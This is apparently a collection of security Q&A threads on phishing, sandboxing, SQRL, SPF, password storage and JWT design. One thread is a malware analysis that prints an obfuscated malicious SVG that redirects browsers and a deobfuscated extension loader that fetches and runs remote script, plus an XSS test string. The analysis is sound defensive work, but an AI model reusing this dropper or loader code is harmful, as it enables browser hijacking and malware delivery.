Phish Proof Website. Possible? Seeing how big names like Gmail, Yahoo! (despite the login seal) and Hotmail (Live Mail) are prone to phishing attacks, this raises the question of whether it is possible (theoretically) to safeguard a website login form from phishing scams?

Now before we go in answering whether it is possible to (theoretically) phish-proof a website, I understand that we need to establish a few factors.

What is the general method used for creating a phish login page? Is it possible to counter this generalized phish-page-creation method? That is, if a programmer is able to defeat the "generalized" phish-creation-method, can he/she expect to make a major change in the security industry?
What is the programming and tech understanding of the majority of phish-hackers? If it is not possible to completely phish-proof a website's login system, is it possible to effectively push out 80-90% phish-makers out of the game by making the phish-page-creation a complex and difficult process?
What is the theory behind some of the phish-proofing mechanisms in practice today (Yahoo login seal etc)? Are these methods effective? If the methods are practically ineffective, is it possible to improve the efficiency of these methods while sticking to the same theory/idea? Or is it the very approach which is erratic?

I know experts would have varying views on these matters, but I hope I could at least find some points of consensus on these issues.

Probably no.

A phishing attack doesn't rely on using the content of the actual login page, it just relies on the user treating the phishing page as if it were the login page. Even if, as suggested in the comments, you shut your servers down completely, that doesn't mean that your users wouldn't respond to a phishing email pretending to be you.

To elaborate, it doesn't matter how fancy and advanced your underlying security algorithms are. If I can't use your page as it is, I can just (worst case) take a screenshot and drop some forms on it, and this will be good enough for a decent portion of my targets.

If you can't make the page itself phish-proof, you could try to help your users respond better to phishing attempts by training them to recognise your legitimate site and having some part of that site that is unique to them. For example, banks often have a personal image that they show you during the login process. A phishing page is unlikely to be able to accurately reproduce these unique sections, and instead will remove the segment or substitute a generic image. If the user is vigilant, they will notice this and abort before submitting their information.

However, as Adam Shostack comments, there's evidence that training users is unreliable and has a low payoff. Additionally, an advanced phishing page could feed information to the real site and echo back the unique parts as you go along.


What is the differerence between virtualization and sandboxing Is virtualization basically "easier" sandboxing ? Where the system calls are intercepted and rules are set out whether to allow the system call to go through or not. I believe system calls are traced to find out which application is making the calls via process tracing.

If the answer is yes to all of the above then what does it mean "easier" sandboxing can someone give me an example of how virtualization is "easier" sandboxing ?

Thank you

Sandboxing is a high-level concept that can be implemented in several ways.

Virtualization in practice is a specific type of sandboxing - usually by emulating of "the system", i.e., the CPU and the related hardware.

So there is a large overlap between sandboxing and virtualization; as well as virtualization and emulation. Yet they are different in design intent and/or technique.

Sandboxing is the effect you want. You could achieve it in many ways - either by building around your system (protecting it), or around your runtime environment (restricting it). Either way, it is important to know the problem in its entirety - and what it is an unknown program that you are trying to sandbox, it is simpler to use Virtualization (as in VMs) since it has the broadest scope of isolation and software is freely available.

e.g., to implement a behavior-based (dynamic analysis) of JavaScript, security devices need a sandboxed environment to run the incoming JS and observe "what it changes" (file system, registry, etc.). Either the security device vendor can use a sandbox (probably needs fewer resources when running; but would take more resources to develop) or use an existing environment such as a stripped down dynamically provisioned (and deprovisioned) VM in combination with in-browser sandbox.

Some (most?) "anti-APT" devices that boast this capability choose the latter because it is easier to develop and deploy. i.e., It cuts down on R&D costs (initial & ongoing) as well as time to market - while at the same time layout out the broadest possible net (scope) to limit the impact of evasive malware while still giving maximum detection ability.


How does the MITM (Man in the middle) attack happen with respect to SQRL I recently looked into SQRL and was intrigued by its simplicity.

At first glance it seemed reliable and its author claimed it was inherently fail-proof against phishing and MITM attacks.

But upon further reading at this stack exchange discussion I saw a comment (the 2nd reply by tylerl) that claimed it was highly susceptible to MITM.

Both line of arguments appear similar except one concludes that it is safe and the other not. As per the author authentication is happening with the correct server. So I can't to understand how MITM is possible.

Also the stack exchange reply claimed client side authenticators like LastPass prevent phishing. Wouldn't it be just as simple to have similar client side authentication in the SQRL?

A little clear up would be very helpful.

The MITM-related issue with SQRL derives from the fact that the authentication request and response happen across two different channels, and an attacker can successfully conduct a valid authentication request/response from an invalid site. That is, an attack site could fetch an SQRL code from the correct site, and present it to the victim. The victim can authenticate against the provided request, but by doing so he'll log in the attacker instead. The lack of coordination between the browser and the phone means that you can't protect this step.

In this sense, SQRL isn't any more susceptible to phishing/MITM than passwords, and it's somewhat better in the sense that authentication has to happen online. But it's worse than existing alternatives, and that's the problem.

So, for example if your mother or boss or coworker or friend says to you: "I want to be more secure online, should I use SQRL?" Your answer must be: "No, use Lastpass and random passwords instead."

The fundamental difference here is that browser integration thwarts all phishing attacks, and since phishing is by far the most serious threat to your online safety, this should be your first priority, trumping all else. No alternative should be even considered if it doesn't protect against this threat, because it's the one you're most likely to face. If you're going to switch, switch to something that will keep you safe, not something that won't.

What of GRC's Countermasures?

GRC's first point about how SQRL codes are unique to a given site is irrelevant, and I'm not sure why he bothers to mention it. Basically he's saying that paypal.evil can't generate their own SQRL code for paypal.com. The attacker would have to fetch an authentic code from paypal.com and present it to the user. Which is exactly what they'd do.

The "Login Redirection" countermeasure is really only feasible if you're using browser integration... in which case it's completely unnecessary, since the browser can already tell whether it's at the correct site or not. If you're using SQRL with a phone as originally designed, then the "login redirection" link would have to be manually typed into the URL by someone reading it off the phone. So... that's not going to happen.

The "Action confirmation" countermeasure is a load of silliness. The idea is that you log in to the bank with SQRL, then each and every activity (including viewing sensitive data) done on the bank website would have to be manually confirmed on the cell phone. It'd be like using the bank's own cell phone app, but with added inconvenience.

The source-ip verification stuff that GRC goes into great detail about is a hack. The protection is inconsistent and incomplete, and implementation would be messy and error-prone  to say the least. This is important because while it may be "better than nothing", it's not "better than the alternative"; you can actually have good security, but this isn't it.

All of this is an attempt to retrofit critical safety provisions into a system where it wasn't designed to fit. And that's really the core of the problem: the system was built to solve uncommon or nonexistent problems, while ignoring real, serious, and pressing problems. So we're taking a system that was poorly-designed to begin with and attempting to patch it to make it "professional-grade". That's kind of like taking skyscraper blueprints drawn by an auto mechanic and attempting to fix them to make something that could actually be built. The most practical and effective approach is to start over from scratch.

Could we build a secure alternative?

Of course we could. But the key to doing so is to look first at your primary usage case and threat model, and build the system accordingly. For example, SQRL was designed such that all authentication happens on your cell phone. You could retrofit the solution to allow for browser integration, but all the features and design decisions were based around the assumption that your cell phone is your identity, which is why phishing protection is so difficult.

Designing a system to address all of the most likely attack scenarios really is simple. All the necessary components exist, and all the problems have already been solved. I won't go in to the details here since this isn't the place for it, but I would wager that if you asked a dozen real security and identity experts, they'd all come up with roughly the same design.


What pros and cons are there to a one-time random salt between client and server? In researching on best practices in hashing passwords using a salt I came across a presentation on slideshare. The approach outlined is as follows

  Client requests login page
  Server-side code generates random SALT and sends the SALT back to client along with login form
  Client-side JavaScript generates a hash of the password entered by the user added to the salt (hashpwd + salt) called A and sends this to
  server along with the username
  Server-side code retrieves the hashed password for this user from the db and uses it to generate a new hash (hashpwd + salt), called B.
  Server-side code compares A and B and if they match the user is authenticated.
  Salt is destroyed on server-side.
  The next sign-in request generates a new SALT that only survives for that request.

In this approach the passwords are stored in the database hashed but without a salt. So if the passwords are stolen (like LinkedIn), am I right in saying this approach is useless? Without a hash the password can be cracked relatively easily. What protection does this approach offer? I think it prevents replay attacks by generating a new SALT and makes brute-force attacks from the front-end impossible too. I would be interested to hear insights into this approach and a good list of pros and cons of the approach. I am not a security expert by any stretch of the imagination.

Indeed, this approach does not help against the theft of the password database. It's easier to see why: it concerns only the exchange of data, and does not impact the database format. Since the database stores direct hashes of passwords, it is vulnerable to a rainbow table attack, making all but the highest-entropy passwords breakable.

This one-time random value is a nonce, and such values are indeed commonly used in communication protocols to avoid replay attacks. Without a nonce, an attacker could eavesdrop on a legitimate conversation and replay later the login phase with the server. You might find such implementations because it is useful under the following hypotheses:

the communication uses HTTP;
the attacker can passively listen to all TCP/IP communications but cannot directly talk to any client, only to the server.

There are old web applications designed under these hypotheses. Adding a nonce to the login phase was a significant burden to attackers in the days when they were mostly bored college students on university campuses. In today's world of ubiquitous advanced networking tools and computing devices, assuming that TCP connections cannot be hijacked is not realistic. Such a protocol is vulnerable to a man-in-the-middle attack where the attacker provides a fake DNS response to the client or hijacks the TCP connection. Using HTTPS (with proper authentication of the server, i.e. proper validation of the certificate) makes the addition of a nonce to the login protocol itself redundant (HTTPS itself contains a nonce so that connections cannot be replayed).


What are the security risks with rolling out your own Authorisation server implementation Even though I'm working within .Net Core, this question is generally applicable to other platforms as well.

My question is to do with: Using a framework (such as IdentityServer) to manage implementation for Auth (Authentication/Authorisation) -- Vs -- rolling out your own implementation by following protocols. In this scenario, the 'rolling out your own' option wouldn't rely on any middleware to manage auth - all the required endpoints/services/data-access would be self managed.

Specifically, I'd like to know: assuming you have followed the protocol specs, what are the security concerns when rolling out your own implementation?

Edit 1: For further context, the only thing in question that requires implementation here, is a microservice responsible for authenticating using the OAuth authorisation code flow and nothing more. No sessions, as there’s no associated website with ‘protected resources’ and no ‘currently logged in user’. As per the authorisation code flow:

Authenticate: Endpoint to login and redirect to return url with authorisation code.

Question 1: Even if I use a framework, I still have to verify the client against those registered in my database, present the view with the login form, use CSRF action filters, validate input against my user database, and store the authorisation code in my database against the authenticated user for token exchange later. So what further security concerns arise from not using a framework?

Authorise: Endpoint to receive authorisation code and respond with tokens.

Question 2: Even if I use a framework, I still have to lookup the code in my database, check if it’s expired, store the access/refresh tokens in my database, and respond with the generated tokens. So again, what further security concerns arise from not using a framework?

Security concerns are always very relative.

The major risk of rolling your own is doing a worse job than known good established frameworks. Which happens to be very common.

If you know what you are doing, understand the requirements, implementation details, are aware of security implications and have done your threat assessment, and have the time/budget/will to roll your own, then I see no issues with that.


Email SPF record integrity I have been reviewing my company's SPF record with a number of our SAAS providers.
One service advised me to use 'include:amazonses.com' in my record to allow emails to be validated.

I am rather hesitant in allowing Amazon's service API to be allowed in the record.
Is this not delegitimizing the purpose of SPF or am I arguing an authentication technology that was never prepared for Cloud driven services?

If they gave me companyx.amazonses.com I would be a tad more interested in including this.

What prevents a spam bot (minus the cost factor) from utilising these services with any one company's domain, effectively invalidating any SPF records?

... or am I arguing an authentication technology that was never prepared for Cloud driven services?

SPF is not really an authentication technology. It does not authenticate who is sending the mail but only limits from which IP addresses the mail can be sent from and thus tries to limit misuse of your domain as the claimed sender of spam and phishing.

  If they gave me companyx.amazonses.com I would be a tad more interested in including this.

There is no reason to believe that this would be more safe just because the company name is included in the domain name. The real question is which IP addresses are covered by the SPF (i.e. allowed to send mail for this domain) and one might simply set this "company record" to be the same as the global amazonaws record.

If you use the cloud to send mail you are usually doing this to profit from its advantages, i.e. flexibility, scalability, fault tolerance, low latency due to geographic routing etc. But, to implement these advantages it might be necessary to have lots of IP addresses and be flexible in which tasks are assigned to which IP address.

This means that the IP address might be an overly broad trust anchor when using cloud infrastructure. Instead or additionally you should rely on system specific instead IP specific restrictions. This can be done using DKIM where the outgoing mail system signs the mail and the recipient can check that it was actually signed by the mail system belonging to the sender. Both of DKIM and SPF can be combined with DMARC for even better protection against misusing your domain name for spamming and phishing.

In short: don't complain that SPF is insufficient and not designed for the cloud.  Instead use DKIM and DMARC in addition to SPF.


How can hotels securely receive your credit card details (for a custom, one-off payment)? A hotel belonging to a large chain (400 hotels in 60 countries) has just requested me to send my credit card details via standard (unsecured) email.

I have negotiated a deal for accommodation with them, via email, outside of the standard packages available on their website, but now I need to pay their booking fee. They don't have the facility to enter an arbitrary secure payment via their website.

The issue I have is that I am convinced that whatever method I use, the hotel will probably just email it in plain text internally to some payment clerk or whatever to keep on file. So is it better to just tell them over the telephone and hope for the best?

Why not purchase a disposable Visa/ MasterCard/ Amex with the exact amount on it?  Then you only have the amount they agreed to at risk.  Even if something bad happens, it only happens to the funds they agreed were for the purchase.


TrueCrypt -vs- MacOS encrypted sparse image - equally secure? Other alternatives? I'm currently trying to find my personal best solution for storing passwords and other sensible data. Recently I've used 1Password on iPhone and Mac but I'm not really satisfied with its predefined structure and storage scheme.

So I've decided to give a simple plain text file another chance... ideally a Wiki like editor with Markdown syntax - like TrunkNotes. But I've not yet found my final solution.

But now to the point: I plan to store that data on an encrypted volume in my DropBox to be accessible wherever I've need for. Since DropBox needs to transfer the whole file upon change I've thought about a growing sparse image created with the DiskUtilities from Apple using AES-256 encryption. Is the Apple solution equally secure as a TrueCrypt using the same encryption?

Both solutions rely on images that hold several files. Is there any alternative that can easily be integrated into the OS to encrypt single files instead of whole disk images? That would significantly reduce overall sync traffic.

Is the Apple solution equally secure as a TrueCrypt using the same encryption?

Assuming that there is no "publicly known" security flaw within the file structure of the images created by said applications, the logical strength of said "container" would depend on the encryption algorithm utilized as well as the pass phrase implemented. Although, there are conspiracy theories surrounding TrueCrypt, they are beyond the scope of this question.

  Is there any alternative that can easily be integrated into the OS to encrypt single files instead of whole disk images?

Yes, GnuPG, as stated by "mikeazo". You could generate a key-pair and encrypt your "sensitive" data using the public-key. You could write a script which would encrypt and decrypt, etc, all required files as necessary.

On the note of encryption algorithms, Blowfish, designed by Bruce Schneier, has the following notes based on cryptanalysis work:

  There is no effective cryptanalysis on the full-round version of
  Blowfish known publicly as of 2011. A sign extension bug in one
  publication of C code has been identified. In 1996, Serge Vaudenay
  found a known-plaintext attack requiring 28r + 1 known plaintexts to
  break, where r is the number of rounds. Moreover, he also found a
  class of weak keys that can be detected and broken by the same attack
  with only 24r + 1 known plaintexts. This attack cannot be used against
  the regular Blowfish; it assumes knowledge of the key-dependent
  S-boxes. Vincent Rijmen, in his Ph.D. thesis, introduced a
  second-order differential attack that can break four rounds and no
  more. There remains no known way to break the full 16 rounds, apart
  from a brute-force search. Bruce Schneier notes that while Blowfish is
  still in use, he recommends using the more recent Twofish algorithm
  instead.

  ~ Wikipedia

GnuPG can utilize Blowfish; Blowfish has also been included in the mainline GNU/Linux kernel since version 2.5.47. A list of products utilizing the Blowfish cipher may be found here.

On a side note, the key size utilized by the encryption algorithm (chosen by you) also plays a role in the overall security of said information. Generally, the larger the key (measured in bits {b}), the more computing power required to brute-force said pass phrase.


Creating multiple secure and easy to remember passwords I have recently developed a new web application which our clients log into using a username and password. As we're just rolling out this system, we'll be setting the usernames and passwords ourselves, the client will not get to decide what their initial password will be.

So I need to assign a password to each of our clients.

The trouble is that my boss wants it to be easy to remember. He suggested using 'apple', 'orange', 'banana', etc. This would leave us at huge risk of a dictionary attack and, seeing as the application can display some sensitive information, this would be a concern.

In a perfect world, the passwords should be around 6-8 characters in length, easy to remember and not include spaces or special characters. But they also need to be secure.

What is the best way to go about this? I've seen the xkcd comic regarding random words for secure passwords but, if I shorten the idea from four to just two short, random words, would this be secure? How secure would a password generated from this site be?

My chosen solution: as per Terry's answer, I am going to allow users to change their password themselves as I believe this is the best course for us.

What exactly is the issue with a completely random password?

Auto generated passwords should be changed by your clients upon first login anyway, so there will not be an usability issue. It is not a good practice for your clients to retain the initial password, as it would have to be sent to them in a plaintext format. For that purpose - one time login tokens would be much more secure.

A password containing two dictionary words IS NOT secure. A simple dictionary attack trying out various combinations of words would easily crack your password.


I received a suspicious SVG file via Facebook message. What does it do? What is this file attempting to do?

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
    function jxnpgmlk(wvdxrc,lecho,jqgws){
      var uxheu = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
      var uahflv = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc\/OVM:dLg7oBpA8eSz53","M0:ARfNp1cv\/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj","aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5\/=JOij7s6C","Iu2b=zPK0\/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
      var gzzxb = "";
      var jfort = 0;
      while(uahflv[jfort]){
        jfort++;
      }
      var xlmjv = 0;
      while(wvdxrc[xlmjv]){
        var uxqpon = 0;
        var aljmjv = -1;
        while(uxheu[uxqpon]){
          if(uxheu[uxqpon] == wvdxrc[xlmjv]){
            aljmjv = uxqpon;
            break;
          }
          uxqpon++;
        }
        if(aljmjv >= 0){
          var sqakm = 0;
          var ehtbzd = -1;
          while(uahflv[xlmjv%jfort][sqakm]){
            if(uahflv[xlmjv%jfort][sqakm] == wvdxrc[xlmjv]){
              ehtbzd = sqakm;
              break;
            }
          sqakm++;
          }
          gzzxb += uxheu[ehtbzd];
        }else{
          gzzxb += wvdxrc[xlmjv];
        }
        xlmjv++;
      }
      var swidsm = "";
      for(yokncr=lecho;yokncr<gzzxb.length;yokncr++){
        swidsm += gzzxb[yokncr];
      }
      gzzxb = swidsm;
      return gzzxb;
    }
  var yaqjv = window;
  var cujnl = jxnpgmlk("OEoqu71jy",6,true);
  var gnqrek = jxnpgmlk("_9Npy9P5tSxq?Ca3tda0loX",15,false);
  var zvlgj = jxnpgmlk("66/X_X",2,true);
  yaqjv[cujnl][gnqrek][zvlgj] = jxnpgmlk("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy",2,true);
  ]]></script>
</svg>

This file is part of a virus.

It's an SVG image file containing obfuscated JS code that redirects you to a malicious website. This website will attempt to install malware (a Chrome browser plugin) and forward the SVG file to your Facebook contacts. If you think you got infected, follow these instructions: Help! My home PC has been infected by a virus! What do I do now?

Quick Analysis

The attacker likely chose an SVG file because it's an innocent-looking image format and less suspicious than executables or HTML files (whose transfer is also prohibited by Facebook). But despite being graphics, SVGs can also contain active script code.

The file itself contains an obfuscated inline <script> segment consisting of two parts. The first part is the function jxnpgmlk() which acts as a decoder that unscrambles any strings that it gets as input. The exact algorithm doesn't really matter because we can simply apply the function on any scrambled strings. The second part is a very short payload. The few strings defined here can simply be unscrambled by using the decoding function, resulting in this:

var cujnl = "top";
var gnqrek = "location";
var zvlgj = "href";
window[cujnl][gnqrek][zvlgj] = "http://mourid.com/php/trust.php";

So essentially, all this code does is redirect you to http://mourid.com/php/trust.php.

From there, two more 302 redirects follow to http://kerman.pw/php/trust.php and http://kerman.pw/?fb_dsa.  The final page fakes the look of a Youtube video page to deceive users into installing a supposedly "missing codec". You will instead be prompted to install this malicious Chrome extension called "One":

https://chrome.google.com/webstore/detail/one/olonepdliekllagcdgmlbihgcplinegj
Edit: Google finally removed the extension from the Chrome Web Store but there might still be other instances around.

I manually downloaded the extension file and had a quick look at the obfuscated source code. The extension manifest defines several background scripts that immediately get loaded once installed. This is the essential part of what I de-obfuscated:

this["fetch"]("http://cerawa.pw/manalovuci/kojakumoda.bg")["then"](function(kkuruv) {
    if (kkuruv["ok"]) {
        kkuruv["blob"]()["then"](function(yxbnjo) {
            var pklimw = this["URL"]["createObjectURL"](yxbnjo);
            var yxyiq = this["document"]["createElement"]("script");
            yxyiq["src"] = pklimw;
            this["document"]["head"]["appendChild"](yxyiq);
        });
    }
});

As you can see the extension downloads additional JS code from http://cerawa.pw/manalovuci/kojakumoda.bg. (Note that the page won't return anything if you don't send a Chrome user agent.) That response is turned into an object URL and attached to every document while browsing, effectively giving the attacker remote control over your browsing session.

It seems that the malware can be triggered by user interaction only, so if you didn't install the extension you are probably safe. But since the page can easily serve different malware to different user agents or different countries, it's not possible to be absolutely sure that you didn't get infected while visiting the site. If in doubt, it's time to nuke it from orbit.

Bonus: Funnily, that page is also vulnerable to XSS. But I guess they don't have a Bug Bounty Program in place... (http://kerman.pw/"><script>alert(1)</script>).


Verify the password of an encrypted file without waiting for complete decryption I am currently working on an application that encrypts files with AES 256.

The problem is that I want the user to see whether the password is wrong before the file is decrypted.

For example if you want to decrypt a file that is about 1GB big it takes you 20 minutes to decrypt it, but only after the decryption do you notice that the password was wrong, and you have waited 20 mins for nothing!

So there must be a possibility to check the password before decryption. So, you need to transmit the password with the file.

But how? MD5 can be cracked. SHA might also be cracked soon.

So what is the best way, how can I encrypt the password super secure?

I want the user to see whether the password is wrong before the file is decrypted.

Decryption does not tell you whether the password was correct. If you supply the wrong password, you will get a decrypted result. A wrong one, but how do you know?

Usually the data that you encrypt has some structure that's known in advance. Say, it's a text file, and it must contain only printable characters. Or it's a video file and must begin with a well-formed MPEG header. If the password is accidentally wrong, then the probability that the output still has this structure is negligible. In most cases the first few decrypted bytes will give away whether the output is well-formed, and therefore whether the password is correct. But it's difficult for your application to tell — whether it performs that verification after decrypting the first few bytes or after decrypting everything — unless the application is specialized to a specific file format.

So what you can do is to start your plaintext with a known header, something like Elefantosque's exercise in password-protected encryption. If the first few decrypted bytes are correct, then you know the password is correct. The length of the header is determined by the strengh of your encryption; it should be at least the length of the secret key (i.e. 32 bytes here).

Incidentally, if your decrypting application can tell whether the output is correct in some generic way, then it is doing more than encryption: it is also verifying the integrity of its input. AES doesn't do this (it can if used in particular modes). So either your application is performing some other cryptographic verification of the data which you aren't telling us about, or your application is not really verifying integrity, and in particular does not detect a wrong password.

If you use the known header method above, then your application will detect a wrong password by verifying the integrity of the header (here, the integrity check is that the header must be equal to a known value). Note that you will still not be verifying the integrity of the data.

If you're worried about an attacker modifying the data in transit, then what you need is either some form of authenticated encryption in a single algorithm (which can be an AES chaining mode), or to combine encryption with authentication through a MAC (encrypt-then-MAC or MAC-then-encrypt).

Another thing that you aren't saying is how the use of AES relates to the supplied password. An AES-256 key normally consists of 256 bits which must be wholly unknown to the attacker (randomly generated over the whole key space). A password is a string, usually chosen by a human, which may have constraints to consist only of printable characters, have minimum length requirements and so on. Making an AES key out of a password is a non-trivial operation, and the way you do it is critical to your application (or rather your protocol)'s security.

An acceptable way to make an AES key from a password is key stretching and salting. The problem with passwords is that an attacker can often crack them by brute force. It doesn't matter how your password is used, if the attacker knows that it's one of password, 1234 or l33t, then the attacker can try all three possibilities. The most you can hope for (in a scenario like yours) is to make it expensive for the attacker to try many possibilities. A good stretching function takes a long time to compute. For legitimate uses, you only perform the function once, so the cost doesn't matter, whereas the attacker's cost is multiplied by the number of attempts he performs. As for salting, it lessens the amount of reuse for an attacker who wants to crack multiple encrypted files. Salting means including a random component (stored in plaintext) in the stretched data. As the salt is different for every file, the attacker cannot precompute a list of stretched keys derived from common passwords.

As a more general note, you seem to have a lopsided view of security (don't worry, it's common with beginners). You're putting a lot of importance on the choice of algorithm (AES-256, dismissing SHA-1), and none at all to other parts that matter, such as what makes you conclude that a password is correct or how you use the password in your scheme. In fact, finding weaknesses in a commonly-used cryptographic algorithm is very rare (especially practical weaknesses) compared to finding vulnerabilities in protocols, i.e. in the way the information flows and the algorithms are used. Cryptographic algorithms are hard to design, but a few of them suffice for most purposes and you don't need to understand why they work (or even how, really) to use them. Protocols are hard to design as well, and they are often application-specific, at least in part; so you need to pay a lot of attention to your protocol design. Reuse existing protocols whenever possible (but be careful that you're using them correctly!), and tread carefully when you need to design one. Again, you can bet your application will break because of a broken protocol (or a broken implementation, if you aren't a careful implementer), not because of a broken cryptographic algorithm.

As a matter of fact, there's no good reason not to use AES-128. It would cut down on the decryption time and not perceptibly reduce security. The use of SHA-1 has indeed not been recommended for a long time, though the attacks that were feared took longer to arrive than predicted. Still, SHA-1 is not broken for the purpose that would have mattered here, namely reversing a hash (the known weaknesses have to do with collisions, i.e. finding data with the same hash as some known data). Nonetheless SHA-256 is recommended where the design calls for a cryptographic digest.

P.S. I'm assuming this is a learning exercise. Obviously, for real-world use, you would use existing, well-reviewed software such as PGP/GPG.


What prevents an identity provider from falsifying authorization in a SAML 2.0 flow? I'm confused about something in the SAML 2.0 flow.  When the initial access to the service provider is made, the service provider must first validate that the user indeed has access and so the service provider will query the identity provider.  Based on this link -- https://developers.onelogin.com/saml , the service provider identifies the identity provider based on "application subdomain, user IP address, or similar."  My question is, what prevents the identity provider from acting maliciously and saying, "Sure, this user has access.  Let them in!"  I mean, I could just set up my own identity provider and if I'm identified by IP address, couldn't I just pretend that this user has access?

The identity provider selection would be from a list of trusted identity providers with which the service provider application has already exchanged certificates or configured known metadata URL.

So yes, you could set up your own identity provider, but it would have to be a very badly-written service provider application that would redirect to you and trust your SAML assertions if you were not already in their configured list or otherwise known to them (e.g. a Federation setup).


How is Facebook locating me when I use a VPN? I am using a private VPN network for my internet connection. But it seems that if I go to http://m.facebook.com and try to check in, Facebook sees my location properly.

My IP address seems to be from USA.

I have cleared all the cookies. If Facebook can't determine the current location it uses the old one instead,that seems the only explanation I have? How is this done?

If you are using the Facebook app on your phone then you have already agreed to let the app access location services.

Accessing Facebook through the browser on your phone will ask for your location like this:

  m.facebook.com wants to use your device's location

The IP address will indicate a very rough location like a city or region. The check-in feature uses precise locations provided by the location service of your phone. Location services use GSM base station ID data, WIFI SSIDs, MAC addresses and the GPS location if available. The phone will then query a server on the internet using the GSM and WIFI data in order to get precise location information. It is similar on a computer although computers typically only have WIFI.

So you must have allowed Facebook access to this kind of location data. IP addreses and foreign VPNs have nothing to do with precise location data.

Chrome has started implementing Geolocation API since 2010:

  Wifi based location is only supported on Windows and Mac

Geolocation API by browser:

Chrome uses Google Location Services.
Firefox on Windows uses Google Location Services.
Firefox on Linux uses GPSD - http://catb.org/gpsd/.
Internet Explorer 9+ uses the Microsoft Location Service.
Safari on iOS uses Apple Location Services for iPhone OS 3.2+.
Opera uses Google Location Services.

Source and more details about HTML5 Geolocation API


What's the best way to store the passwords? What is the best way of storing my passwords? Which storage is considered the safest one? How safe/unsafe is to store passwords in the local MySQL database?

There's a bunch of details missing from your question, but I'll take a shot at answering. Let's break down your question:

  I'm thinking about storing random 16 characters passwords from my accounts

Depends how you are generating these 16 character passwords. Are they truly random? In particular, what are you using as your source of randomness? How will you deal with the fact that different sites support different character sets in passwords?

  in the local mysql database.

How secure is your database? Security is typically measured as Confidentiality, Integrity, Availability.
- Confidentiality: is your local mysql database encrypted? Is the device it's on encrypted? How strong are the passwords protecting it?
- Integrity: doesn't really apply here.
- Availability: Do you have backups of this database somewhere? ie if the machine it's on dies, will you be in trouble to reset all your accounts?

  Is it good idea or I better store them with the help of Google smart locks?

Your question is really "Should I invent my own password manager, or use a real one?". With security, it's always dangerous to invent your own because there are a lot of small things that you have to get right. There are a number of excellent password managers out there, I suggest you just use one of them:

Google smart lock (ie the password manager built-in to Chrome and Android). -- It's good on Availability because it's backed up in the Google cloud. Not as good as others on Confidentiality because once I'm in to your laptop, I have all your passwords. It also requires you to be using Chrome or Android, so it would prevent you from, say moving to Firefox.

Then there are dedicated password managers:

password safe -- I've never heard of it, but it comes with @symcbean's recommendation.
Lastpass -- Passwords are backed up on Lastpass' servers. Good for Availability, but requires you to trust them. Better for Confidentiality because your password database has a global password on it with lots of security options you can enable
Keepass -- A local app that you run on your device (supports all common mobile and desktop OSes). This one is probably the best for confidentiality because it saves to an encrypted local file (ie does not get stored on any cloud server), but not so great for Availability because you need to figure out your own backup system. That said, the android client knows how to sync with GoogleDrive, Dropbox, and ftp server and many more.

Bottom line, I'm glad you're thinking about the security of your passwords, but please use one of the many well-built solutions rather than inventing your own!


Using the user's password hash as their refresh token (with the password hash in their JWT)? I'm building an authentication system that I want to be secure. I plan on using JWT tokens as the main authentication mechanism. When the token expires, the server will return a "401 unauthorized" response, and I would like the client to be able to perform a silent refresh. Typically this is done using a refresh token. I was wondering what the security implications would be of using the user's password hash as the refresh token?

In addition to doing this, I was planning to include the password hash within the JWT. When the JWT is verified, my app will check that the password hash in the JWT matches the user's current password hash. If they are different, the server will tell the client to log the user out.

Are there any security flaws in this process that I'm missing?

Well, you've converted your short-lived access token into a refresh token because you're storing the refresh token in the access token. That pretty much defeats the purpose of using an access token.

It's also usually unwise to send the password hash to the client because these things tend to get leaked through bugs or overzealous logging and that makes it possible to brute force the password offline (though you already have access to the client, so...). It also means you can't revoke the refresh without forcing a password change. That might be fine, but it's also potentially annoying for the user. The refresh should have an expiration too.

In general you should never reuse secrets for things that weren't their intended purpose. You should use a dedicated value for the refresh token, whether its a pointer to some value in the database, or a token itself signed by a secret key plus expiration. And you shouldn't store the refresh token in the access token.

All of that adds up to the usual recommendation of: don't roll your own. Find a library or service that already does this for you. There's plenty of them out there that are free or cheap, and many have excellent track records for security.


EICAR Virus Test maliciously used to delete logs? Today at work I was asked to test our anti-virus software on our Linux servers.  I attempted to create a text file containing the EICAR Virus Test signature.  The file was deleted instantly, indicating the real-time virus scan was working.  However, this got me thinking... since this is a relatively short string of ASCII printable characters, this could be easily inserted into many forms of user-input.  So depending on how the Anti-Virus software handles this, you may be able to use this to force a deletion of a file if you are able to append this to it.  For example, let's say a Web server logs all the requests you send it, and you insert this EICAR virus signature into a request and it gets logged into a file, and the file then gets deleted.  I tried searching google for malicious use of the EICAR virus test but wasn't able to find any examples of misuse of this in the wild.  Anyone know if this has been done before?  It's an interesting idea that an Anti-Virus software ironically could be a threat to what would otherwise be non-threatining.  Thoughts?

[EDIT]

In conclusion, if implemented correctly in the AV software, the EICAR Test appended to a log file would not be detected (which is good).  However, I found out that this is not always implemented correctly.  Therefore, some anti-virus software may wrongfully take action if this were to be appended to a log file.  See my analysis done below:

Anti-Virus software that accurately detects the EICAR Test signature by itself in a file:
https://www.virustotal.com/en/file/56606ad869484ccbb4d012f46c9c73ea9b20f9863351741aab96763345209564/analysis/1409779284/

Anti-Virus software that detects the EICAR test signature even if it's been appended to a file (this violates the EICAR Test rule, and thus was not implemented in the AV software according to Protocol):
https://www.virustotal.com/en/file/f5b88459f4b2c6425bdfc5c8f4f17027e0bfcc65a4c39dbb48f96c81ce17369c/analysis/1409779665/

[/EDIT]

No, it won't work this way.

Reading the documentation from EICAR we can see why:

  The first 68 characters is the known string. It may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters.

So, the file must start with the said string, and must not be larger than 128 bytes. All of your logs will probably start with a timestamp, and have more than 128 bytes on it.


